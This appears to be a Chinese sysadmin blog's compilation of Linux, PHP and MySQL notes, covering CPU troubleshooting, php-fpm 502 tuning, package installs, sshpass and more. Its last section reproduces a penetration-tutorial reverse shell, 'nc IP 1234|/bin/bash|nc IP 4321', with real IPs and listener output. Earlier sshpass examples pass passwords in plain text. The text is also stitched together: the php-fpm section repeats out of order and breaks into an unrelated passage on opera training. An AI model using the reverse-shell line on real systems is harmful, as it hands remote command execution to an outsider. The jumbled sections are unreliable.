B. FTP无法连接时，如何及时反馈出错误？
C. readfile是一次性读取文件加载到内存中并输出，当文件过大时，内存消耗惊人


根据实验发现采用readfile一次性读取，内存消耗会明显增加，但是CPU的利用率会下降较多。如果采用分段读取的方式，内存消耗会稍微下降，而CPU占用却会明显上升。


对discuz x 1.5的这个bug较好解决方法就是后台重新正确设置远程附件参数。


以下是我逐步整理的故障排除步骤：


1. 得到占用cpu资源过多的php-cgi进程的pid(进程id)， 使用top命令即可，如下图：
经过上图，我们发现，有两个php-cgi进程的cpu资源占用率过高，pid分别是10059，11570，这一般都是程序优化不够造成，如何定位问题的php程序位置？


2. 找出进程所使用的文件
/proc/文件系统保存在内存中，主要保存系统的状态，关键配置等等，而/proc/目录下有很多数字目录，就是进程的相关信息，如下图，我们看看进程10059正在使用哪些文件？
显然，使用了/home/tmp/sess_*文件，这明显是PHP的session文件， 我们查看这个session文件的内容为：view_time|123333312412


到这里，我们已经可以怀疑是由于php程序写入一个叫view_time的session项而引起， 那么剩余的事件就是检查包含view_time的所有php文件，然后修改之（比如改用COOKIE），这实话， 这个view_time并非敏感数据，仅仅记录用户最后访问时间，实在没必要使用代价巨大的session, 而应该使用cookie。


3. 找出有问题的程序，修改之
使用vi编辑以下shell程序（假设网站程序位于/www目录下）
#!/bin/bash
find /www/ -name "*.php" > list.txt

f=`cat ./list.txt`

for n in $f
do
r=`egrep 'view_time' $n`
if [ ! "$r" = "" ] ; then
echo $n
fi
done  
运行这个shell程序，将输出包含有view_time的文件， 对记事狗微博系统，产生的问题位于modules/topic.mod.class文件中
来自这里
大家好，公司有一台服务器上部署了mysql+php+apache！
但是发现apache有一个httpd进程占用很高的cup，请教有没有什么命令能查看到时什么文件调用了这个进程？

lsof -p 13321


http://blog.csdn.net/aquester/article/details/51557879
http://blog.chinaunix.net/uid-7934175-id-4013411.html

Linux字符串md5,注意得echo -n ,-n就是去空格，如果不加 -n则会有空格输出：
echo -n re0XY6?ki|md5sum|awk '{print $1}'
270899509597f424b626b14034622c89
------------------------------------------------------------
mysql> select md5("re0XY6?ki");
+----------------------------------+
| md5("re0XY6?ki")                 |
+----------------------------------+
| 270899509597f424b626b14034622c89 |
+----------------------------------+
1 row in set (0.00 sec)
=============================================

Linux系统有一个自带的生成密码的命令，这个命令异常强悍，可以帮助我们生成随机密码，要知道，现在的黑客无处不在，想一个难猜的密码还真的下点功夫，有了这个密码生成工具，就可以为管理员节省好多脑细胞啊，下面看下这个命令的使用：

[root@CentOS6 game-dir]# mkpasswd

JI>s64tyv

[root@centos6 game-dir]# mkpasswd -l 12

e/Hwyw8Kied6

[root@centos6 game-dir]# mkpasswd -l 12 -d 3

zas4Ery+5K8l

[root@centos6 game-dir]# mkpasswd -l 12 -c 4

ff9bT7b}npmM

[root@centos6 game-dir]# mkpasswd -l 12 -C 4

x3TwqtSKh}2T

[root@centos6 game-dir]# mkpasswd -l 12 -s 4

px}[aO8cF':8

[root@centos6 game-dir]# mkpasswd -l 18 -s 4 -c 4 -C 4

;.8zW3dGiwmb@dyWO&

下面来简单介绍一下常用的参数含义：

usage: mkpasswd [args] [user]

where arguments are:

-l #      (length of password, default = 7)

                  指定密码的长度，默认是7位数

-d #      (min # of digits, default = 2)

                  指定密码中数字最少位数，默认是2位

-c #      (min # of lowercase chars, default = 2)

                  指定密码中小写字母最少位数，默认是2位

-C #      (min # of uppercase chars, default = 2)

                  指定密码中大写字母最少位数，默认是2位

-s #      (min # of special chars, default = 1)

                  指定密码中特殊字符最少位数，默认是1位

-v        (verbose, show passwd interaction)

                  这个参数在实验的时候报错，具体不知道。

数组成员调用你会吗？

比如数组：$arr=['apple','b'=>'banana'];

你一定会，就是用下标$arr[0]，或者键名嘛$arr['b']。

调用键名这种情况在PHP里非常普遍，像是从数据库直接取来的成员都是数组加字段名。

但是你从来没觉得自己的代码有些怪怪的？
奇怪而正常的代码

现在我要循环一个数组，还要用它里边的成员，但是数组本身就是一个单词（为了让代码易懂）。

这个长单词再加上比较长的键名，感觉似乎乱乱滴啊！

比如我随便写点儿代码，这是我们可能经常遇到的：

//我只是简单地用if判断两个值相加是否大于总分，可是数组名加键名看起来超蛋痛有没有

//……好凌乱，猛一看还以为我写了个操作系统

if( $students['score'] + $students['last_score'] > $students['total_score']){

return;

}
如何让代码快乐？唯有extract

以上情况，你只需要提前作一个这样的操作：extract($students)

于是代码就清爽了一个数量级：

extract($students)

if( $score + $last_score > $total_score ){

return;
}
所以，extract()的作用呢，就是将关联数组中的键名当作变量名，把数组成员抽出来啦。

而我要给出的结论就是，操作关联数组，一定要有使用extract的意识！

抽出来是全局变量？

注意！抽出的数组会覆盖同名变量，但覆盖的目标抽出的位置有关，比如在函数中使用，就只是覆盖临时的局部变量。

怎么说呢，应当主要在函数中使用。

WHAT? 我不想覆盖已有变量！

可以我的王，你只需要再加一个参数EXTR_SKIP，上边的例子里会是这么写：

extract($students, EXTR_SKIP);
另外再告诉你一个小密秘我们还能用它生成统一前缀的变量，只要这样写：

extract($students, EXTR_PREFIX_ALL,'我是前缀');

//得到：$我是前缀score, $我是前缀$last_score, $我是前缀total_score

yum install -y sysstat

查看所有CPU内每一个处理器负载，刷新频率1S(根据物理CPU个数)
mpstat -P ALL 1

点击在新窗口中浏览此图片


查看指定的处理器负载（-P 后的数字从0开始），刷新频率1S
mpstat -P 0 -P 1 1

点击在新窗口中浏览此图片

yum install -y iotop

查看进程IO
iotop

点击在新窗口中浏览此图片


cpu使用率低负载高，原因分析:
http://www.fblinux.com/?p=281


Linux 系统没有业务程序运行，通过 top 观察，类似如下图所示，CPU 很空闲，但是 load average 却非常高：
处理办法：
load average 是对 CPU 负载的评估，其值越高，说明其任务队列越长，处于等待执行的任务越多。
出现此种情况时，可能是由于僵死进程导致的。可以通过指令 ps -axjf  查看是否存在 D 状态进程。
D 状态是指不可中断的睡眠状态。该状态的进程无法被 kill，也无法自行退出。只能通过恢复其依赖的资源或者重启系统来解决。
From:https://help.aliyun.com/knowledge_detail/41225.html

背景：百度云是个好东西，Linux 下能命令行使用是最好不过的了。

yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
-bash: yum-config-manager: 未找到命令


系统默认没有安装这个命令，这个命令在yum-utils 包里，可以通过命令yum -y install yum-utils 安装就可以了。
步骤一：先找到软件包安装路径
whereis yum-config-manager
yum-config-manager: /usr/bin/yum-config-manager /usr/share/man/man1/yum-config-manager.1.gz

步骤二：再根据RPM包的命令传入程序路径后反查到这个软件所属于哪个RPM包：
rpm -qf /usr/bin/yum-config-manager
yum-utils-1.1.31-40.el7.noarch

================================================================
CentOS 7 使用如下命令安装 bcloud:
# yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
# yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
# yum install bcloud


来自：http://jingyan.baidu.com/article/4dc40848b761cbc8d846f172.html

实践如下：

yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
已加载插件：fastestmirror
adding repo from: https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo
grabbing file https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
repo saved to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo




yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
依赖关系解决

=========================================================================================================================================================================================
Package                                     架构                            版本                                  源                                                               大小
=========================================================================================================================================================================================
正在安装:
nux-dextop-release                          noarch                          0-2.el7.nux                           /nux-dextop-release-0-2.el7.nux.noarch                          3.5 k
为依赖而安装:
epel-release                                noarch                          7-9                                   epel                                                             14 k

事务概要
=========================================================================================================================================================================================
安装  1 软件包 (+1 依赖软件包)

总计：18 k
安装:
  nux-dextop-release.noarch 0:0-2.el7.nux                                                                                                                                                

作为依赖被安装:
  epel-release.noarch 0:7-9                                                                                                                      



yum clean all


yum install bcloud
已加载插件：fastestmirror
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
https://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo/epel-7-x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 404 - Not Found
正在尝试其它镜像。
To address this issue please refer to the below knowledge base article

https://access.redhat.com/articles/1320623

If above article doesn't help to resolve this issue please create a bug on https://bugs.centos.org/

nux-dextop                                                                                                                                                        | 2.9 kB  00:00:00    
nux-dextop/x86_64/primary_db                                                  44% [=============================-                                      ]  32 kB/s | 745 kB  00:00:29 ETA




http://www.linuxdown.net/soft/2015/0127/3799.html
https://github.com/houtianze/bypy/blob/master/README.md

背景：自从有了nginx和php-fpm，就有502，这个经验公式有，但是502依然有，三点：1，很多小厂商vps搞了nginx还搞mysql把负载提起来了处理能力下降，业务本来逻辑就复杂处理时间长不说，还搞一些后台PHP调用计算的接口放crontab里面，逻辑运算稍微重点就导致PHP阻塞进程默认就不够用或阻塞后不够用出现502，或还会fd句柄也不够用。二、一下子来了个洪峰，本文讲到的，作者很好。三，配置进程数不当。

pm.start_server  #控制服务启动时创建的进程数,

pm.min_spare_servers  #控制最小备用进程数

pm.max_spare_servers  #最大备用进程数

spare_servers翻译成备用进程，不知道合适不适合，如果真这样，那我之前的配置就让人无奈了: pm.min_space_servers 20,pm.max_spare_servers 80，pm.max_children 80，会不会是因为备用的太多才导致502呢？



另外，下面的具体配置里面，注释中给出了计算pm.start_servers默认值的公式：

Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2
———————————————————————————————————
问题描述

最近有台服务器偶尔会报502错误，虽然量不多，每天就几十个，但是也必须得找到原因，避免让小问题变成大问题。

排查过程

502错误的原因，一般是对用户访问请求的响应超时造成的，一开始以为是请求量太大，超过了服务器目前的负载，但是查看了zabbix监控，发现问题时段的负载、内存、IO都没有非常明显的变化，服务器并没有达到繁忙的状态；查看这个时段请求的并发数，也不高。

然后查看nginx错误日志，发现该时段有如下报错：
connect to unix:/dev/shm/phpfpm.socket failed (11: Resource temporarily unavailable) while connecting to upstream

说明还是php-fpm进程不足导致的。

然后再观察问题时段的php-fpm进程数变化情况：
点击在新窗口中浏览此图片

发验证猜想

为了验证上面的这个猜测，我在测试环境做了一些尝试，即将php-fpm的pm.start_servers和pm.max_spare_servers都设置得比较小，然后进行ab测试，观察php-fpm创建子进程的速度，发现果然和猜测的一样，是非常慢的。当请求数比较多时，会因为创建php-fpm子进程的速度太慢，出现502的情况。

解决方案

增大php-fpm的pm.start_servers和pm.max_spare_servers的数值(最关键的是pm.max_spare_servers这个配置)，保证请求量增加时，能够有足够的进程来处理请求，不需要在短时间内创建过多进程。现问题时段php-fpm的进程数确实有比较明显的变化，但是最高只到了75左右，并没有达到我们设置的pm.max_children的数值。

综上，结合502的特性，猜测：

是否是php-fpm子进程设置为dynamic模式，而我们的空闲进程数上限设置得比较低(目前设置的是35)，然后当请求量增大时，创建子进程的速度跟不上请求增加的速度，进而导致部分请求无法得到响应，从而出现502？

验证猜想

如果知道这句话出自戏班，也就不难理解了。
胳膊腿，当然是舞台上的身段功夫，不只是柔韧性，还有协调性、美观程度、符合戏曲和本行当标准与否等等。
嘴，指唱念的功夫。戏曲对吐字、归韵、润腔、行腔要求极严，一辈子练不到较高水平的有的是，这跟天赋、师承、勤奋度都有关系。
举个例子，晋剧演员出身的郭兰英先生的歌曲和民族歌剧享有盛誉，学她的歌、戏的演员那么多，可真不好说有谁学到了她演唱的精髓过。唱得好坏放一边，单说众多音乐学院高材生出身的学生们99%都是大波浪颤音，这一点足以把演唱的味道搜索破坏殆尽。

一、如何在Excel字体上面加删除线：
在开始字体那个姑且叫Tab吧，下面有一个小小的右下箭头，点它，在里面勾选删除线。

选中区域——开始——字体——特殊效果（勾选删除线）——确定，如图：
来自：https://zhidao.baidu.com/question/500308554.html


二、 markdown 删除线：
~~ ~~包裹的文字会显示删除线
实践OK如下：
## 主要运维工作

### ~~Rsyslog~~

- ~~kafka地址~~
- ~~tag~~
- ~~broker~~


删除线
~~删除线~~

markdown编辑器中删除线语法的支持：
因为前端预览是js渲染的，后端输出php处理的，两者的markdown语法有差异
~~来做删除线被认为是不规范的markdown语法，js渲染那边会去掉。
来自：http://blog.csdn.net/maimiho/article/details/51926444

MySQL 5.6 警告信息 command line interface can be insecure 修复

mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.


在命令行输入密码，就会提示这些安全警告信息。
Warning: Using a password on the command line interface can be insecure.

注: mysql -u root -pPASSWORD 或 mysqldump -u root -pPASSWORD 都会输出这样的警告信息.
1、针对mysql
mysql -u root -pPASSWORD 改成mysql -u root -p 在输入密码即可.

2、mysqldump就比较麻烦了，通常都写在scripts脚本中。

解决方法：
对于 mysqldump 要如何避免出现(Warning: Using a password on the command line interface can be insecure.) 警告信息呢?

vim /etc/mysql/my.cnf
[mysqldump]
user=your_backup_user_name
password=your_backup_password

修改完配置文件后, 只需要执行mysqldump 脚本就可以了。备份脚本中不需要涉及用户名密码相关信息。

来自：http://880314.blog.51cto.com/4008847/1348413

其实这很简单，在Win10系统中点击开始按钮→设置→系统→默认应用，在“Web浏览器”中选择自己想要的浏览器就可以。
原因是我把Edge浏览器删除了，默认是Edge浏览器引起的，修改成安装的Chrome或其它浏览器如IE也就Ok了，弄得找了好久。

#include <stdio.h> #include <netdb.h> int main() {         struct hostent *he;         char hostname[40]={0} ;         char ipaddr[40]={0};         strcpy(hostname,"www.baidu.com");                                                       gethostname(hostname,sizeof(hostname));         he = gethostbyname(hostname);         printf("%d-handle-gethostbyname\n",he);         printf("hostname=%s\n",hostname);         //printf("%s\n",inet_ntoa(*(struct in_addr*)(he->h_addr)));     char destIP[128];     char **phe = NULL;     for( phe=he->h_addr_list ; NULL != *phe ; ++phe)     {           inet_ntop(he->h_addrtype,*phe,destIP,sizeof(destIP));         printf("addr:%s\n",destIP);     }   }


./gh
529960480-handle-gethostbyname
hostname=justwinit-php-mysql_bj_sjs_10_44_202_177
addr:127.0.0.1

来自：http://blog.csdn.net/zzz_781111/article/details/7372024

背景：在用Ansible的脚本初始化环境时，在CentOS5.x出现No Package matching 'cronie' found available,而在CentOS6.x上是OK的。
原因：centos6有些商家镜像没有带crontab，需要的话要自己安装，但是centos6和centos5安装crontab是不一样的，因为变更了一些依赖关系。

CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64

注意：On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron
或者
yum install cronie


[root@rh08 ~]# service crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]

CentOS5.x:
/usr/bin/crontab -e
rpm -qf  /usr/bin/crontab
vixie-cron-4.1-81.el5

crontab package in CentOS is vixie-cron.
yum install vixie-cron
service crond start
chkconfig crond on


service crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]


On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie

From:http://www.zxsdw.com/index.php/archives/1151/

背景：在多台机器上同步一个文件，尤其是刚开始重装系统或没有ansible这样的运维工具，比如想批量给升级一下yum源，用rz 是可以的，如果十来台还成，上五十台就有点麻烦了。sshpass是个好东西，结合scp和shell能完成很多台机器的文件的拷贝，然后结合sudo把文件挪动到root才能去的地方。其实还有一个expect脚步也有这个自动捕获输出并自动输入密码。但如果是第一次连接，expect可能捕获的输出可能是yes啥的输出，spawn这个命令也是expect的rpm包的一个命令，但都得yum安装，这个引出新的安装问题，http://justwinit.cn/post/5089/，还是讲sshpass包。

关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64

sshpass: 用于非交互的ssh 密码验证

ssh登陆不能在命令行中指定密码，也不能以shell中随处可见的，sshpass 的出现，解决了这一问题。它允许你用 -p 参数指定明文密码，然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取

$> sshpass -h

Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
   -f filename Take password to use from file
   -d number Use number as file descriptor for getting password
   -p password Provide password as argument (security unwise)
   -e Password is passed as env-var "SSHPASS"
   With no parameters - password will be taken from stdin

   -h Show help (this screen)
   -V Print version information
At most one of -f, -d, -p or -e should be used

sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同

#从命令行方式传递密码

    $> sshpass -p user_password ssh user_name@192.168..1.2
    $> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .

#从文件读取密码

    $>　echo "user_password" > user.passwd
    $> sshpass -f user.passwd ssh user_name@192.168..1.2

#从环境变量获取密码

    $> export SSHPASS="user_password"
    $> sshpass -e ssh user_name@192.168..1.2


源码位置：http://sourceforge.net/projects/sshpass/
摘录自：http://m.blog.csdn.net/article/details?id=7293274

按顺序开三个SecureCRT终端，在一里面输入echo "hello jackX",会在二里面显示hello jackX：
一、
nc -l -p 1234 -vv
echo "hello jackX"

二、
nc -l -p 4321 -vv
hello jackX

三、
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
nc 123.57.252.183 1234|/bin/bash|nc 123.57.252.183 4321



这时我们就可以在1234端口输入命令，在4321端口查看命令的输出了。

管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行，再将执行结果传给10.44.202.177:4321显示。



nc -l -p 4321 -vv
nc -l -p 4321 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:59294.


nc -l -p 1234 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:51650.


nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
触发上面两个。

摘自实践自：【【安全客】Linux渗透之反弹Shell】http://m.toutiao.com/group/6398009141268365570/?iid=7737129548&app=news_article&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share